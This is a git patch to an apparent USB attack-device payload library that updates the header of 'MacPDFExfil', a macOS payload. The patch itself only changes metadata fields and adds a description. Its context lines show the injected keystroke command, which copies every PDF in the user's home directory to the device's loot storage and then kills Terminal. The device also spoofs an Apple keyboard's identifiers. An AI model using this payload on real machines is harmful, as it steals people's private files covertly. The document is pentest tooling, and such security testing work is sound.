From 83e57026399e68ad80506b3d099248bb95557834 Mon Sep 17 00:00:00 2001 From: Marc Date: Fri, 5 Jul 2019 08:35:47 +0100 Subject: [PATCH] Cleanup: MacPDFExfil: Update Payload Header --- payloads/library/exfiltration/MacPDFExfil/payload.txt | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/payloads/library/exfiltration/MacPDFExfil/payload.txt b/payloads/library/exfiltration/MacPDFExfil/payload.txt index d74275db..30f135ba 100644 --- a/payloads/library/exfiltration/MacPDFExfil/payload.txt +++ b/payloads/library/exfiltration/MacPDFExfil/payload.txt @@ -4,9 +4,9 @@ # Author: k1ul3ss # Props: audibleblink # Version: 1.0 -# Category: Exfiltration -# Target: macOS -# Attackmodes: HID, Storage +# Targets: macOS +# Attack Modes: HID, Storage +# Description: Finds all PDFs in the users Home directory, and then copies them to the Bunnys storage. ATTACKMODE STORAGE HID VID_0X05AC PID_0X021E @@ -28,4 +28,4 @@ QUACK STRING find \~ -name \'*.pdf\' -exec cp \"{}\" $lootdir \\\;\; killall Ter QUACK ENTER # sync the filesystem -sync \ No newline at end of file +sync